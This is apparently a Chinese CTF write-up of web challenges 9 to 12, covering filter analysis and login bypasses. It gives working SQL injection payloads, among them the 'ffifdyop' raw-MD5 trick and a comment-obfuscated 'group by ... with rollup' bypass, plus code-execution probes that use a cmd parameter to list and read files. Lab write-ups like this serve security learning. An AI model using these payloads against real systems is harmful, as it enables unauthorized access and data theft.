当前位置: 首页 > news >正文

0X02

web9

阐释一波密码,依然没有什么 发现,要不扫一下,或者看一看可不可以去爆破密码

就先扫了看看,发现robots.txt

 访问看看,出现不允许被访问的目录

 还是继续尝试访问看看

就可以下载源码,看看源码

<?php
    $flag="";
    $password=$_POST['password'];
    if(strlen($password)>10){
        die("password error");
    }
    $sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
    $result=mysqli_query($con,$sql);
        if(mysqli_num_rows($result)>0){
                while($row=mysqli_fetch_assoc($result)){
                     echo "登陆成功<br>";
                     echo $flag;
                 }
        }
?>

 

 先看sql的语句

username ='admin' and password ='".md5($password,true)."'

在php中.起到了连接的作用,

MD5(string,raw)

参数描述
string必需;规定要计算的字符串。
raw可选;TRUE - 原始 - 16 字符二进制格式;FALSE - 默认 - 32 字符十六进制数

 也就是说,我们最终要的这个东西 在md5加密后的16进制转化为二进制后 变成username ='admin' and password =‘ ’or 'xxxxx'的形式;逆过来,我们需要将' or 1=1按照加密规则加密,得到的就是我们最后要的东西,只要md5加密后的16进制转化为二进制时有 'or’xxxx

这里使用ffifdyop

ffifdyop 经过 md5 之后的值为: 276f722736c95d99e921722cf9ed621c ;
276f722736c95d99e921722cf9ed621c 再转成字符串就变成 ’ ’ ‘or’ xxx 拼接到语句中

密码ffifdyop登录


  web10

 依然是登录框

admin

1' or 1=1

 如果密码输入的是空格或者是逗号,也会出现以上的页面,也就是被过滤了

接着上一题的思路,我们首先要看到源码,扫了之后也没有什么发现

 但是细心观察一下,就可以看出这一题登录框里面多了一个取消的按钮

点了之后下载了源码

<?php$flag="";function replaceSpecialChar($strParam){$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";return preg_replace($regex,"",$strParam);}if (!$con){die('Could not connect: ' . mysqli_error());}if(strlen($username)!=strlen(replaceSpecialChar($username))){die("sql inject error");}if(strlen($password)!=strlen(replaceSpecialChar($password))){die("sql inject error");}$sql="select * from user where username = '$username'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){if($password==$row['password']){echo "登陆成功<br>";echo $flag;}}}?>

 regex那条语句显示的就是过滤以下字符select|from|where|join|sleep|and|\s|union|,

if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); }过滤了双写绕过

显然许多注入的方式都被限制了

下面这个是以前从没有接触过的

group by : 对进行查询的结果进行分组。group by后跟什么,就按什么分组
with rollup: group by 后可以跟with rollup,可以在进行分组统计的基础上再次进行汇总统计。

达到的结果就是通过加入 with rollup 使 sql 语句查询结果 password 有一行为是 null ,在不输入 password 情况下就能达到源码中的条件

输入空的密码就可以得到null==null,

1'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#

 /**/因为之前测试过过滤了空格,运用它可以进行过滤

 web11

这题有点意外,源码直接显示在页面上

<?php
    function replaceSpecialChar($strParam){
         $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
         return preg_replace($regex,"",$strParam);
    }
    if(strlen($password)!=strlen(replaceSpecialChar($password))){
        die("sql inject error");
    }
    if($password==$_SESSION['password']){
        echo $flag;
    }else{
        echo "error";
    }
?>

 同样也是过滤了许多的东西select|from|where|join|sleep|and|\s|union|,

最后发现只要$password==$_SESSION['password']就可得到flag

session

是针对每个用户的,只有客户端才能访问,程序为该客户添加一个 session。session中主要保存用户的登录信息、操作信息等等。此 session将在用户访问结束后自动消失(如果也是超时)。会将信息保存在服务器端

cookie

是针对每个网站的信息,每个网站只能对应一个,其他网站无法访问,这个文件保存在客户端,每次您拨打相应网站,浏览器都会查找该网站的 cookies,如果有,则会将该文件发送出去。cookies文件的内容大致上包括了诸如用户名、密码、设置等信息。会将信息保存在客服端

发现删除所有的session,在上面的细心观察之后,发现,我们打开环境的时候,就发现密码框里面是有东西的,也就是显示出来的条目全部删除,然后以空密码登录即可得到flag

让session和密码为空,就可以达到条件

 web12

 看一下源码

 提示进行 get 传参 ?cmd=

进行一下测试

?cmd=phpinfo();

 有页面回显,就证明在cmd处可以进行构造语句进行命令执行

现在想着就是读取到文件,也可以说是源码

用 system() 函数的命令:system(‘ls’) 来读取存在的文件名,但是这个命令没有回显,应该是被限制了,那就换一个

使用 scandir() 函数来查看目录中的文件

?cmd=print_r(scandir(‘./’));

下面这个也是可以的

?cmd=print_r(glob(“*”));

 

glob("*")  匹配任意文件;
glob("*.txt")  匹配以 txt 为后缀的文件。

 发现是一个很长的php文件

 使用高亮函数
payload:/?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

 show_source函数是highlight_file()函数的别名

http://www.lryc.cn/news/219356.html

相关文章:

  • 【手写数据库所需C语言基础】可变结构体,结构体成员计算,类型强制转换为统一类型,数据库中使用C语言方法和技巧
  • Android Studio(适配器Adapter)
  • 携程AI布局:三重创新引领旅游行业智能化升级
  • IOS手机耗电量测试
  • LeetCode.6 N字形变换
  • BlockingQueue实现简易消息队列处理器 可分区顺序消费
  • 第一章 03Java入门-编写第一个Java程序HelloWorld以及JVM、JDK和JRE概念
  • windbg的常见调试命令
  • VBA之正则表达式(44)-- 拆分商品和规格
  • 听GPT 讲Rust源代码--library/std(13)
  • 计算机视觉任务图像预处理之去除图像中的背景区域-------使用连通域分析算法(包含完整代码)
  • SurfaceFlinger的硬件Vsync深入分析-千里马android framework车机手机系统开发
  • 力扣160. 相交链表
  • 操作系统学习与思考
  • C++笔记之动态数组的申请和手动实现一个简单的vector
  • 答题测评考试小程序的效果如何
  • 树上贪心+生成树贪心:1104T3
  • MySQL进阶之性能优化与调优技巧
  • MySQL EXPLAIN查看执行计划
  • 目标检测YOLO系列从入门到精通技术详解100篇-【目标检测】机器视觉(最终篇)
  • redis教程 二 redis客户端Jedis使用
  • 【数据开发】大数据平台架构,Hive / THive介绍
  • SOEM源码解析——ecx_init_context(初始化句柄)
  • 11.Z-Stack协议栈使用
  • 设计模式—结构型模式之适配器模式
  • 【LeetCode】187. 重复的DNA序列
  • C++17中std::any的使用
  • 携手ChainGPT 人工智能基础设施 波场TRON革新 Web3 版图
  • pdfH5实现pdf预览功能
  • Redis的持久化机制